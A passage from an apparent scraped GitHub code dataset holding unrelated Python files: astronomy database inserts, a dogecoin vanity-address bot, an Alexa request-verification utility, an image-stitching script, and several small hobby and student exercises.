Degrees per pixel increment in x-direction.\n deltay(float): Degrees per pixel increment in y-direction.\n centre_ra(float): Image central RA co-ord, in degrees.\n centre_decl(float): Image central Declination co-ord, in degrees.\n xtr_radius(float): Radius in degrees from field centre that will be used\n for source extraction.\n\n \"\"\"\n query = \"\"\"\\\n SELECT insertImage(%(dataset)s\n ,%(tau_time)s\n ,%(freq_eff)s\n ,%(freq_bw)s\n ,%(taustart_ts)s\n ,%(rb_smaj)s\n ,%(rb_smin)s\n ,%(rb_pa)s\n ,%(deltax)s\n ,%(deltay)s\n ,%(url)s\n ,%(centre_ra)s\n ,%(centre_decl)s\n ,%(xtr_radius)s\n ,%(rms_qc)s\n ,%(rms_min)s\n ,%(rms_max)s\n ,%(detection_thresh)s\n ,%(analysis_thresh)s\n )\n \"\"\"\n arguments = {'dataset': dataset,\n 'tau_time': tau_time,\n 'freq_eff': freq_eff,\n 'freq_bw': freq_bw,\n 'taustart_ts': taustart_ts,\n 'rb_smaj': beam_smaj_pix * math.fabs(deltax),\n 'rb_smin': beam_smin_pix * math.fabs(deltay),\n 'rb_pa': 180 * beam_pa_rad / math.pi,\n 'deltax': deltax,\n 'deltay': deltay,\n 'url': url,\n 'centre_ra': centre_ra,\n 'centre_decl': centre_decl,\n 'xtr_radius': xtr_radius,\n 'rms_qc': rms_qc,\n 'rms_min': rms_min,\n 'rms_max': rms_max,\n 'detection_thresh': detection_thresh,\n 'analysis_thresh': analysis_thresh,\n }\n cursor = tkp.db.execute(query, arguments, commit=True)\n image_id = cursor.fetchone()[0]\n return image_id\n\n\ndef insert_extracted_sources(image_id, results, extract_type,\n ff_runcat_ids=None, ff_monitor_ids=None):\n \"\"\"\n Insert all detections from sourcefinder into the extractedsource table.\n\n Besides the source properties from sourcefinder, we calculate additional\n attributes that are increase performance in other tasks.\n\n The strict sequence from results (the sourcefinder detections) is given below.\n Note the units between sourcefinder and database.\n (0) ra [deg], (1) dec [deg],\n (2) ra_fit_err [deg], (3) decl_fit_err [deg],\n (4) peak_flux [Jy], (5) peak_flux_err [Jy],\n (6) int_flux [Jy], (7) int_flux_err [Jy],\n (8) significance detection level,\n (9) beam major width (arcsec), (10) - minor width (arcsec), (11) - parallactic angle [deg],\n (12) ew_sys_err [arcsec], (13) ns_sys_err [arcsec],\n (14) error_radius [arcsec]\n (15) gaussian fit (bool)\n (16), (17) chisq, reduced_chisq (float)\n\n ra_fit_err and decl_fit_err are the 1-sigma errors from the gaussian fit,\n in degrees. Note that for a source located towards the poles the ra_fit_err\n increases with absolute declination.\n error_radius is a pessimistic on-sky error estimate in arcsec.\n ew_sys_err and ns_sys_err represent the telescope dependent systematic errors\n and are in arcsec.\n An on-sky error (declination independent, and used in de ruiter calculations)\n is then:\n uncertainty_ew^2 = ew_sys_err^2 + error_radius^2\n uncertainty_ns^2 = ns_sys_err^2 + error_radius^2\n The units of uncertainty_ew and uncertainty_ns are in degrees.\n The error on RA is given by ra_err. For a source with an RA of ra and an error\n of ra_err, its RA lies in the range [ra-ra_err, ra+ra_err].\n ra_err^2 = ra_fit_err^2 + [alpha_inflate(ew_sys_err,decl)]^2\n decl_err^2 = decl_fit_err^2 + ns_sys_err^2.\n The units of ra_err and decl_err are in degrees.\n Here alpha_inflate() is the RA inflation function, it converts an\n angular on-sky distance to a ra distance at given declination.\n\n Input argument \"extract\" tells whether the source detections originate from:\n 'blind': blind source extraction\n 'ff_nd': from forced fits at null detection locations\n 'ff_ms': from forced fits at monitoringlist positions\n\n Input argument ff_runcat is not empty in the case of forced fits from\n null detections. It contains the runningcatalog ids from which the\n source positions were derived for the forced fits. In that case the\n runcat ids will be inserted into the extractedsource table as well,\n to simplify further null-detection processing.\n For blind extractions this list is empty (None).\n\n For all extracted sources additional parameters are calculated,\n and appended to the sourcefinder data. Appended and converted are:\n\n - the image id to which the extracted sources belong to\n - the zone in which an extracted source falls is calculated, based\n on its declination. We adopt a zoneheight of 1 degree, so\n the floor of the declination represents the zone.\n - the positional errors are converted from degrees to arcsecs\n - the Cartesian coordinates of the source position\n - ra * cos(radians(decl)), this is very often being used in\n source-distance calculations\n \"\"\"\n if not len(results):\n logger.info(\"No extract_type=%s sources added to extractedsource for\"\n \" image %s\" % (extract_type, image_id))\n return\n\n xtrsrc = []\n for i, src in enumerate(results):\n r = list(src)\n # Drop any fits with infinite flux errors\n if math.isinf(r[5]) or math.isinf(r[7]):\n logger.warn(\"Dropped source fit with infinite flux errors \"\n \"at position %s %s\" % (r[0], r[1]))\n continue\n # Use 360 degree rather than infinite uncertainty for\n # unconstrained positions.\n r[14] = substitute_inf(r[14], 360.0)\n r[15] = int(r[15])\n # ra_err: sqrt of quadratic sum of fitted and systematic errors.\n r.append(math.sqrt(r[2]**2 + alpha_inflate(r[12]/3600., r[1])**2))\n # decl_err: sqrt of quadratic sum of fitted and systematic errors.\n r.append(math.sqrt(r[3]**2 + (r[13]/3600.)**2))\n # uncertainty_ew: sqrt of quadratic sum of systematic error and error_radius\n # divided by 3600 because uncertainty in degrees and others in arcsec.\n r.append(math.sqrt(r[12]**2 + r[14]**2)/3600.)\n # uncertainty_ns: sqrt of quadratic sum of systematic error and error_radius\n # divided by 3600 because uncertainty in degrees and others in arcsec.\n r.append(math.sqrt(r[13]**2 + r[14]**2)/3600.)\n r.append(image_id) # id of the image\n r.append(int(math.floor(r[1]))) # zone\n r.extend(eq_to_cart(r[0], r[1])) # Cartesian x,y,z\n r.append(r[0] * math.cos(math.radians(r[1]))) # ra * cos(radians(decl))\n if extract_type == 'blind':\n r.append(0)\n elif extract_type == 'ff_nd':\n r.append(1)\n elif extract_type == 'ff_ms':\n r.append(2)\n else:\n raise ValueError(\"Not a valid extractedsource insert type: '%s'\"\n % extract_type)\n if ff_runcat_ids is not None:\n assert len(results)==len(ff_runcat_ids)\n r.append(ff_runcat_ids[i])\n else:\n r.append(None)\n\n if ff_monitor_ids is not None:\n assert len(results)==len(ff_monitor_ids)\n r.append(ff_monitor_ids[i])\n else:\n r.append(None)\n\n xtrsrc.append(r)\n\n insertion_query = \"\"\"\\\nINSERT INTO extractedsource\n (ra\n ,decl\n ,ra_fit_err\n ,decl_fit_err\n ,f_peak\n ,f_peak_err\n ,f_int\n ,f_int_err\n ,det_sigma\n ,semimajor\n ,semiminor\n ,pa\n ,ew_sys_err\n ,ns_sys_err\n ,error_radius\n ,fit_type\n ,chisq\n ,reduced_chisq\n ,ra_err\n ,decl_err\n ,uncertainty_ew\n ,uncertainty_ns\n ,image\n ,zone\n ,x\n ,y\n ,z\n ,racosdecl\n ,extract_type\n ,ff_runcat\n ,ff_monitor\n )\nVALUES {placeholder}\n\"\"\"\n if xtrsrc:\n cols_per_row = len(xtrsrc[0])\n placeholder_per_row = '('+ ','.join(['%s']*cols_per_row) +')'\n\n placeholder_full = ','.join([placeholder_per_row]*len(xtrsrc))\n\n query = insertion_query.format(placeholder= placeholder_full)\n cursor = tkp.db.execute(query, tuple(itertools.chain.from_iterable(xtrsrc)),\n commit=True)\n insert_num = cursor.rowcount\n #if insert_num == 0:\n # logger.info(\"No forced-fit sources added to extractedsource for \"\n # \"image %s\" % (image_id,))\n if extract_type == 'blind':\n logger.info(\"Inserted %d sources in extractedsource for image %s\" %\n (insert_num, image_id))\n elif extract_type == 'ff_nd':\n logger.info(\"Inserted %d forced-fit null detections in extractedsource\"\n \" for image %s\" % (insert_num, image_id))\n elif extract_type == 'ff_ms':\n logger.info(\"Inserted %d forced-fit for monitoring in extractedsource\"\n \" for image %s\" % (insert_num, image_id))\n\n\ndef lightcurve(xtrsrcid):\n \"\"\"\n Obtain a light curve for a specific extractedsource\n\n Args:\n\n xtrsrcid (int): the source identifier that corresponds to a point on\n the light curve. Note that the point does not have to be the start\n (first) point of the light curve.\n\n Returns:\n list: a list of tuples, each containing:\n - observation start time as a datetime.datetime object\n - integration time (float)\n - integrated flux (float)\n - integrated flux error (float)\n - database ID of this particular source\n - frequency band ID\n - stokes\n \"\"\"\n args = {'xtrsrc': xtrsrcid}\n cursor = tkp.db.execute(lightcurve_query, args)\n return cursor.fetchall()\n","repo_name":"bartscheers/so_tkp","sub_path":"tkp/db/general.py","file_name":"general.py","file_ext":"py","file_size_in_byte":13884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39711674644","text":"import random\nimport subprocess\n\nfrom tinydb import TinyDB, Query\n\nimport config\nimport crypto\nfrom models import User, UserStorage\n\n\nclass VanityGenRequest(object):\n \"\"\"Class to represent an user\"\"\"\n\n def __init__(self, user):\n self.user = User(user)\n self.pattern = None\n self.difficulty = None\n self.address = None\n self.private_key = None\n self.duration = 0\n\n self.id = random.randint(0, 99999999)\n\n # to check if we move funds of user\n self.use = None\n\n def parse_message(self, message_to_parse):\n split_message = message_to_parse.split()\n\n # parse message like : +vanity use Dpatern\n donate_index = split_message.index('+vanity')\n use_address = split_message[donate_index + 1]\n pattern = split_message[donate_index + 2]\n\n if use_address == \"use\":\n self.use = True\n if use_address == \"not-use\":\n self.use = False\n\n # check patern is ok\n if pattern[0] == \"D\" and crypto.base58_is_valid(pattern):\n self.pattern = pattern\n\n def save_resquest(self):\n if self.pattern is not None:\n db = TinyDB(config.vanitygen)\n db.insert({\n \"id\": self.id,\n \"user\": self.user.username,\n \"use\": self.use,\n \"pattern\": self.pattern,\n \"finish\": False,\n \"address\": self.address,\n \"difficulty\": self.difficulty,\n \"duration\": 0\n })\n return True\n else:\n return False\n\n def create_from_array(self, arr_vanity):\n self.user = User(arr_vanity['user'])\n del arr_vanity['user']\n\n for key in arr_vanity.keys():\n setattr(self, key, arr_vanity[key])\n\n return self\n\n def generate(self):\n out = subprocess.check_output(['vanitygen', '-X', '30', str(self.pattern)], stderr=subprocess.STDOUT)\n line = out.split('\\n')\n self.difficulty = str((line[0]).split(':')[1]).strip()\n self.address = str((line[1]).split(':')[1]).strip()\n self.private_key = str((line[2]).split(':')[1]).strip()\n\n def move_funds(self, tx_queue, failover_time):\n if self.use is True:\n amount = self.user.get_balance()\n if crypto.tip_user(self.user.address, self.address, amount, tx_queue, failover_time):\n # update user storage file\n UserStorage.add_address(self.user.username, self.address)\n\n # Todo : update history of user\n\n def import_address(self):\n rpc = crypto.get_rpc()\n rpc.importprivkey(self.private_key, \"reddit-vanity-\" + self.user.username, False)\n\n # on import success clean key from memory\n self.private_key = \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n self.private_key = None\n\n def update_data(self):\n db = TinyDB(config.vanitygen)\n vanity_db = Query()\n\n db.update(set(\"finish\", True), vanity_db.id == self.id)\n db.update(set(\"difficulty\", self.difficulty), vanity_db.id == self.id)\n db.update(set(\"duration\", self.duration), vanity_db.id == self.id)\n","repo_name":"just-an-dev/sodogetip","sub_path":"models/vanity.py","file_name":"vanity.py","file_ext":"py","file_size_in_byte":3206,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"37"} +{"seq_id":"28539515467","text":"import RPi.GPIO as IO\nimport time\nfrom numpy import interp\n \nIO.setmode(IO.BCM)\nIO.setwarnings(False)\n\nservo_channel = 12\nIO.setup(servo_channel, IO.OUT) # Set the servo channel to be an output\npwm = IO.PWM(servo_channel, 50) # Create a PWM object which operates at 50Hz\npwm.start(2.5) # Start the PWM output with a duty cycle of 2.5% (0.5ms), which should cause the servo to move to the 0 position\n\nwhile True:\n for i in range(181):\n duty_cycle = interp(i, [0, 180], [2.5, 12.5]) # Convert a degrees range (0-180) into a duty cycle range (2.5%-12.5%)\n pwm.ChangeDutyCycle(duty_cycle) # Pass the duty cycle percentage to the PWM channel\n time.sleep(0.01) # Allow some time for the servo to reach its target\n","repo_name":"maryamkameli/PSEUDO-ANALOG-AND-SERVOS","sub_path":"servo.py","file_name":"servo.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9818449710","text":"\"\"\"Utility functionality for Alexandra\"\"\"\n\nimport base64\nimport logging\nimport posixpath\n\ntry:\n from urlparse import urlparse\n from urllib2 import urlopen\nexcept:\n from urllib.parse import urlparse\n from urllib.request import urlopen\n\nfrom datetime import datetime\n\nfrom OpenSSL import crypto\n\n\n# We don't want to check the certificate every single time. Store for\n# as long as they are valid.\n_cache = {}\nlog = logging.getLogger(__name__)\n\n\ndef respond(text=None, ssml=None, attributes=None, reprompt_text=None,\n reprompt_ssml=None, end_session=True):\n \"\"\" Build a dict containing a valid response to an Alexa request.\n\n If speech output is desired, either of `text` or `ssml` should\n be specified.\n\n :param text: Plain text speech output to be said by Alexa device.\n :param ssml: Speech output in SSML form.\n :param attributes: Dictionary of attributes to store in the session.\n :param end_session: Should the session be terminated after this response?\n :param reprompt_text, reprompt_ssml: Works the same as\n `text`/`ssml`, but instead sets the reprompting speech output.\n \"\"\"\n\n obj = {\n 'version': '1.0',\n 'response': {\n 'outputSpeech': {'type': 'PlainText', 'text': ''},\n 'shouldEndSession': end_session\n },\n 'sessionAttributes': attributes or {}\n }\n\n if text:\n obj['response']['outputSpeech'] = {'type': 'PlainText', 'text': text}\n elif ssml:\n obj['response']['outputSpeech'] = {'type': 'SSML', 'ssml': ssml}\n\n reprompt_output = None\n if reprompt_text:\n reprompt_output = {'type': 'PlainText', 'text': reprompt_text}\n elif reprompt_ssml:\n reprompt_output = {'type': 'SSML', 'ssml': reprompt_ssml}\n\n if reprompt_output:\n obj['response']['reprompt'] = {'outputSpeech': reprompt_output}\n\n return obj\n\n\ndef reprompt(text=None, ssml=None, attributes=None):\n \"\"\"Convenience method to save a little bit of typing for the common case of\n reprompting the user. Simply calls :py:func:`alexandra.util.respond` with\n the given arguments and holds the session open.\n\n One of either the `text` or `ssml` should be provided if any\n speech output is desired.\n\n :param text: Plain text speech output\n :param ssml: Speech output in SSML format\n :param attributes: Dictionary of attributes to store in the current session\n \"\"\"\n\n return respond(\n reprompt_text=text,\n reprompt_ssml=ssml,\n attributes=attributes,\n end_session=False\n )\n\n\ndef validate_request_timestamp(req_body, max_diff=150):\n \"\"\"Ensure the request's timestamp doesn't fall outside of the\n app's specified tolerance.\n\n Returns True if this request is valid, False otherwise.\n\n :param req_body: JSON object parsed out of the raw POST data of a request.\n :param max_diff: Maximum allowable difference in seconds between request\n timestamp and system clock. Amazon requires <= 150 seconds for\n published skills.\n \"\"\"\n\n time_str = req_body.get('request', {}).get('timestamp')\n\n if not time_str:\n log.error('timestamp not present %s', req_body)\n return False\n\n req_ts = datetime.strptime(time_str, \"%Y-%m-%dT%H:%M:%SZ\")\n diff = (datetime.utcnow() - req_ts).total_seconds()\n\n if abs(diff) > max_diff:\n log.error('timestamp difference too high: %d sec', diff)\n return False\n\n return True\n\n\ndef validate_request_certificate(headers, data):\n \"\"\"Ensure that the certificate and signature specified in the\n request headers are truely from Amazon and correctly verify.\n\n Returns True if certificate verification succeeds, False otherwise.\n\n :param headers: Dictionary (or sufficiently dictionary-like) map of request\n headers.\n :param data: Raw POST data attached to this request.\n \"\"\"\n\n # Make sure we have the appropriate headers.\n if 'SignatureCertChainUrl' not in headers or \\\n 'Signature' not in headers:\n log.error('invalid request headers')\n return False\n\n cert_url = headers['SignatureCertChainUrl']\n sig = base64.b64decode(headers['Signature'])\n\n cert = _get_certificate(cert_url)\n\n if not cert:\n return False\n\n try:\n # ... wtf kind of API decision is this\n crypto.verify(cert, sig, data, 'sha1')\n return True\n except:\n log.error('invalid request signature')\n return False\n\n\ndef _get_certificate(cert_url):\n \"\"\"Download and validate a specified Amazon PEM file.\"\"\"\n global _cache\n\n if cert_url in _cache:\n cert = _cache[cert_url]\n if cert.has_expired():\n _cache = {}\n else:\n return cert\n\n url = urlparse(cert_url)\n host = url.netloc.lower()\n path = posixpath.normpath(url.path)\n\n # Sanity check location so we don't get some random person's cert.\n if url.scheme != 'https' or \\\n host not in ['s3.amazonaws.com', 's3.amazonaws.com:443'] or \\\n not path.startswith('/echo.api/'):\n log.error('invalid cert location %s', cert_url)\n return\n\n resp = urlopen(cert_url)\n if resp.getcode() != 200:\n log.error('failed to download certificate')\n return\n\n cert = crypto.load_certificate(crypto.FILETYPE_PEM, resp.read())\n\n if cert.has_expired() or cert.get_subject().CN != 'echo-api.amazon.com':\n log.error('certificate expired or invalid')\n return\n\n _cache[cert_url] = cert\n return cert\n","repo_name":"erik/alexandra","sub_path":"alexandra/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":5482,"program_lang":"python","lang":"en","doc_type":"code","stars":93,"dataset":"github-code","pt":"37"} +{"seq_id":"42683583892","text":"print(\"inserisci primo numero\")\nsommapari=0\nsommadispari=0\nfor i in range(0,10):\n numero=int(input())\n if numero%2==0:\n sommapari+=numero\n else:\n sommadispari+=numero\nprint(\"somma dei pari\",sommapari)\nprint(\"somma dei dispari\",sommadispari)\n \n ","repo_name":"MarcoInc/Python_Exercises","sub_path":"Esercizi/Sommatoria dei pari dispari.py","file_name":"Sommatoria dei pari dispari.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28129190936","text":"from sqlite import Sqlite\r\nimport time\r\n\r\nclass Balance(Sqlite):\r\n\r\n table = \"balance\" #Used in sqlite for common methods (all,count)\r\n\r\n def __init__(self):\r\n Sqlite.__init__(self)\r\n #This table must be included in the default schema (see evolutions)\r\n\r\n def save(self,weight, user):\r\n c = self._conn.cursor()\r\n now = int(time.time())\r\n c.execute(\"INSERT INTO balance (timestamp, weight, user) VALUES (?,?,?)\",[now, weight, user])\r\n self._conn.commit()\r\n c.close()\r\n","repo_name":"rephus/smartscale","sub_path":"balance.py","file_name":"balance.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19643478334","text":"import tensorflow as tf\n\nB = tf.Variable ( 10 )\n\nwith tf.Session() as sess:\n sess.run ( tf.global_variables_initializer() )\n # 用變數要先把變數初始化\n\n print ( sess.run ( B ) )\n print ( sess.run ( B.assign ( 100 ) ) )\n # 變數可用assign初始化,且一定要開Session run過一次\n","repo_name":"MiohitoKiri5474/CodesBackUp","sub_path":"Python/tensorflow/variable.py","file_name":"variable.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"14647352256","text":"# p. 39 ex. 2.3-7\n\ndescription = \"\"\"\nDescribe an O(n lg n)-time algorithm that, given a set S of n integers\nand another integer x, determines whether or not there exist two\nelements in S whose sum is exactly x.\n\"\"\"\n\ndef sum_exists_brute(s, x):\n \"\"\"Idea: looking for a + b = x, where a and b are in s.\n Instead, we look for an a = x - b, if a is in s, excluding b itself.\n\n But this is an O(n^2) algorithm\n \"\"\"\n \n d = [x - b for b in s] # differences\n for i, a in enumerate(d): # check each value\n if a in s[i+1:]:\n return True\n return False\n\ndef sum_exists(s, x):\n # Hash version\n # https://stackoverflow.com/questions/4720271/find-a-pair-of-elements-from-an-array-whose-sum-equals-a-given-number\n\n # build hash\n h = {}\n for i, n in enumerate(s):\n h[n] = i # key is the element, and value is index\n\n # iterate\n for i, n in enumerate(s):\n if h.get(x - n, i) != i: # if there are duplicates, the \"right\"\n # pair will have a different index\n return True\n return False\n \ndef test():\n testeql(sum_exists([1,2,3], 4), True)\n testeql(sum_exists([9,20,10], 1), False)\n testeql(sum_exists([3,3], 6), True)\n testeql(sum_exists([3,2], 6), False)\n testeql(sum_exists([6,1], 6), False)\n","repo_name":"heitorchang/reading-list","sub_path":"intro_algorithms_cormen/adhoc/sum_of_two_elements.py","file_name":"sum_of_two_elements.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16544539318","text":"import glob\nimport cv2\nimport numpy as np\nfrom tqdm import tqdm\n\n\ndef read_images():\n filenames = glob.glob(\"images/*jpg\")\n images = []\n\n for filename in sorted(filenames):\n img = cv2.imread(filename)\n img = cv2.resize(img, (640, 480))\n images.append(img)\n H, W, C = np.array(img.shape) * [3, len(filenames), 1]\n\n return images, len(filenames), H, W, C\n\n\ndef matching_keypoints(src, tgt, nfeatures=1000,method='orb'):\n if method == 'sift':\n descriptor = cv2.xfeatures2d.SIFT_create()\n elif method == 'surf':\n descriptor = cv2.xfeatures2d.SURF_create()\n elif method == 'brisk':\n descriptor = cv2.BRISK_create()\n elif method == 'orb':\n descriptor = cv2.ORB_create(nfeatures=nfeatures, scoreType=cv2.ORB_FAST_SCORE)\n\n kp1, des1 = descriptor.detectAndCompute(src, None)\n kp2, des2 = descriptor.detectAndCompute(tgt, None)\n\n # Using BruteForce Matcher to match detected features\n bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True)\n matches = bf.match(des1, des2)\n\n # Getting best features\n matches = sorted(matches, key=lambda x: x.distance)\n\n src_pts = np.float32([kp1[m.queryIdx].pt for m in matches]).reshape(-1, 1, 2)\n dst_pts = np.float32([kp2[m.trainIdx].pt for m in matches]).reshape(-1, 1, 2)\n\n print(f\"Number of matched keypoints for source and dest => {len(src_pts)}\")\n return src_pts, dst_pts\n\n\ndef warpImages(src, homography, imgout, pos_y, pos_x):\n H, W, C = imgout.shape\n src_h, src_w, src_c = src.shape\n\n # Checking if image needs to be warped or not\n if homography is not None:\n\n # Calculating net homography\n t = homography\n homography = np.eye(3)\n for i in range(len(t)):\n homography = t[i] @ homography\n\n # Finding bounding box\n pts = np.array([[0, 0, 1], [src_w, src_h, 1],\n [src_w, 0, 1], [0, src_h, 1]]).T\n imageBorder = (homography @ pts.reshape(3, -1)).reshape(pts.shape)\n imageBorder /= imageBorder[-1]\n imageBorder = (\n imageBorder + np.array([pos_x, pos_y, 0])[:, np.newaxis]).astype(int)\n h_min, h_max = np.min(imageBorder[1]), np.max(imageBorder[1])\n w_min, w_max = np.min(imageBorder[0]), np.max(imageBorder[0])\n\n # Filling the bounding box in imgout\n h_inv = np.linalg.inv(homography)\n for i in tqdm(range(h_min, h_max + 1)):\n for j in range(w_min, w_max + 1):\n\n if (0 <= i < H and 0 <= j < W):\n # Calculating image cordinates for src\n u, v = i - pos_y, j - pos_x\n src_j, src_i, scale = h_inv @ np.array([v, u, 1])\n src_i, src_j = int(src_i / scale), int(src_j / scale)\n\n # Checking if cordinates lie within the image\n if (0 <= src_i < src_h and 0 <= src_j < src_w):\n imgout[i, j] = src[src_i, src_j]\n\n else:\n imgout[pos_y:pos_y + src_h, pos_x:pos_x + src_w] = src\n\n return imgout, np.sum(imgout, axis=2).astype(bool)\n\n\ndef blendImages(images, masks, n=4):\n assert (images[0].shape[0] % pow(2, n) ==\n 0 and images[0].shape[1] % pow(2, n) == 0)\n\n # Defining dictionaries for various pyramids\n guassianPyramids = {}\n LaplasianPyramids = {}\n\n H, W, C = images[0].shape\n\n for i in range(len(images)):\n\n # Gaussian Pyramids for iamge enhencment\n G = images[i].copy()\n guassianPyramids[i] = [G]\n for _ in range(n):\n G = cv2.pyrDown(G)\n guassianPyramids[i].append(G)\n\n # Laplacian Pyramids for image enhancment\n LaplasianPyramids[i] = [G]\n for j in range(len(guassianPyramids[i]) - 2, -1, -1):\n G_up = cv2.pyrUp(G) # increase pyRup level for each level recursively\n G = guassianPyramids[i][j]\n L = cv2.subtract(G, G_up)\n LaplasianPyramids[i].append(L)\n\n # Blending Pyramids\n common_mask = masks[0].copy()\n common_pyramids = [LaplasianPyramids[0][i].copy()\n for i in range(len(LaplasianPyramids[0]))]\n\n ls_ = None\n for i in range(1, len(images)):\n\n # To decide which is left/right\n y1, x1 = np.where(common_mask == 1)\n y2, x2 = np.where(masks[i] == 1)\n\n if np.max(x1) > np.max(x2):\n left_py = LaplasianPyramids[i]\n right_py = common_pyramids\n\n else:\n left_py = common_pyramids\n right_py = LaplasianPyramids[i]\n\n mask_intersection = np.bitwise_and(common_mask, masks[i])\n\n if True in mask_intersection:\n y, x = np.where(mask_intersection == 1)\n x_min, x_max = np.min(x), np.max(x)\n split = ((x_max - x_min) / 2 + x_min) / W\n\n LS = []\n for la, lb in zip(left_py, right_py):\n rows, cols, dpt = la.shape\n ls = np.hstack(\n (la[:, 0:int(split * cols)], lb[:, int(split * cols):]))\n LS.append(ls)\n\n else:\n LS = []\n for la, lb in zip(left_py, right_py):\n ls = la + lb\n LS.append(ls)\n\n ls_ = LS[0]\n for j in range(1, n + 1):\n ls_ = cv2.pyrUp(ls_)\n ls_ = cv2.add(ls_, LS[j])\n\n common_image = ls_\n common_mask = np.sum(common_image.astype(bool), axis=2).astype(bool)\n common_pyramids = LS\n\n return ls_\n\n\nif __name__ == '__main__':\n Images, N, H, W, C = read_images() # read images and return all imges and some fields as array\n\n\n # Image Template for final image\n img_f = np.zeros((H, W, C))\n result_image = []\n masks = []\n\n print(f\"\\n-- Process of image {N // 2+1} ---\")\n img, mask = warpImages(Images[N // 2], None, img_f.copy(), H // 2, W // 2) # wrap first image to two part for stiching\n\n result_image.append(img)# result image will stored this array\n masks.append(mask)\n leftHomography = []\n rightHomography = []\n\n for i in range(1, len(Images) // 2 + 1):\n\n try:\n # right side of panorama image\n print(f\"\\n-- Process of image {N // 2 + i+1} ---\")\n src_points, dst_points = matching_keypoints(Images[N // 2 + i], Images[N // 2 + (i - 1)])\n\n M, _ = cv2.findHomography(src_points, dst_points, cv2.RANSAC, 2, None, 4000)# we can calculate homography matrix with default opencv functions using ransac\n\n rightHomography.append(M) # add homography to first part\n img, mask = warpImages(Images[N // 2 + i], rightHomography[::-1],\n img_f.copy(), H // 2, W // 2)\n\n result_image.append(img)\n masks.append(mask)\n except:\n pass\n\n try:\n # left\n print(f\"\\n-- Process of image {N // 2 - i+1} ---\")\n src_points, dst_points = matching_keypoints(Images[N // 2 - i], Images[N // 2 - (i - 1)])\n M, _ = cv2.findHomography(src_points, dst_points, cv2.RANSAC, 2, None, 4000)# we can calculate homography matrix with default opencv functions using ransac\n leftHomography.append(M)# add homography to second part of image\n img, mask = warpImages(Images[N // 2 - i], leftHomography[::-1],\n img_f.copy(), H // 2, W // 2)\n result_image.append(img)\n masks.append(mask)\n except:\n pass\n\n print(f\"\\n-- Process of Blending {N} images begin ---\")\n # Blending all the images together\n firstResult = blendImages(result_image, masks)\n mask = np.sum(firstResult, axis=2).astype(bool)\n\n y_to_yy, x_to_x = np.where(mask == 1)\n x_min, x_max = np.min(x_to_x), np.max(x_to_x)\n y_min, y_max = np.min(y_to_yy), np.max(y_to_yy)\n\n result = firstResult[y_min:y_max, x_min:x_max]\n cv2.imwrite(\"panoroma.jpg\", result)\n print(\"Process succesfully completed and output image saved as panorama.jpg\")\n","repo_name":"yunusemre482/Image-processing","sub_path":"ImageStiching/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1279951397","text":"from tkinter import *\r\nimport tkinter.messagebox\r\nfrom random import randint\r\n#from PIL import Image\r\n\r\nroot = Tk()\r\n#intialize\r\nclass myGame():\r\n cwin=0\r\n pwin=0\r\n rand = randint(0,2)\r\n l = ['Rock','Paper','Scissor'] \r\n computer = l[rand]\r\n\r\n def Rock(self):\r\n\r\n if(self.computer=='Paper'):\r\n Label(root,bg='skyblue',text='Computer Win Paper wraps Rock').grid(row=6,column=1)\r\n self.cwin+=1\r\n Label(root,text=self.cwin).grid(row=9,column=2)\r\n else:\r\n Label(root,bg='skyblue',text='Player Win Rock smashes Paper').grid(row=6,column=1)\r\n self.pwin+=1\r\n Label(root,text=self.pwin).grid(row=8,column=2)\r\n def Paper(self):\r\n if(self.computer=='Scissor'):\r\n Label(root,bg='skyblue',text='Computer Win Paper wraps Rock').grid(row=6,column=1)\r\n self.cwin+=1\r\n Label(root,text=self.cwin).grid(row=9,column=2)\r\n else:\r\n Label(root,bg='skyblue',text='Player Win Rock smashes Paper').grid(row=6,column=1)\r\n self.pwin+=1\r\n Label(root,text=self.pwin).grid(row=8,column=2)\r\n def Scissor(self):\r\n if(self.computer=='Rock'):\r\n Label(root,bg='skyblue',text='Computer Win Paper wraps Rock').grid(row=6,column=1)\r\n self.cwin+=1\r\n Label(root,text=self.cwin).grid(row=9,column=2)\r\n else:\r\n Label(root,bg='skyblue',text='Player Win Rock smashes Paper').grid(row=6,column=1)\r\n self.pwin+=1\r\n Label(root,text=self.pwin).grid(row=8,column=2)\r\n\r\n def declarWinner(self):\r\n if(self.pwin==10 and self.cwin<10):\r\n tkinter.messagebox.showinfo(\"Player Win The match\")\r\n root.destroy\r\n elif(self.cwin==10 and self.pwin<10):\r\n tkinter.messagebox.showinfo(\"Player Win The match\")\r\n root.destroy\r\n \r\n\r\nm = myGame() \r\nLabel(root,text='Choose to play').grid(row=1,column=1)\r\nButton(root,text='Rock',bg='blue',width=30,command=m.Rock).grid(row=3,column=20)\r\nButton(root,text='Paper',bg='Green',width=30,command=m.Paper).grid(row=4,column=22)\r\nButton(root,text='Scisor',bg='Blue',width=30,comman=m.Scissor).grid(row=5,column=24)\r\nm.declarWinner()\r\n\r\n\r\n\r\nLabel(root,text=\"Player Win:\").grid(row=8,column=1)\r\nLabel(root,text=\"Computer Win:\").grid(row=9,column=1)\r\n\r\n\r\nmainloop()\r\n","repo_name":"Temam-Hashim/PYTHON-PROGRAM","sub_path":"RockPaperGUI.py","file_name":"RockPaperGUI.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"347825957","text":"import torch\nimport torch.nn as nn\nfrom 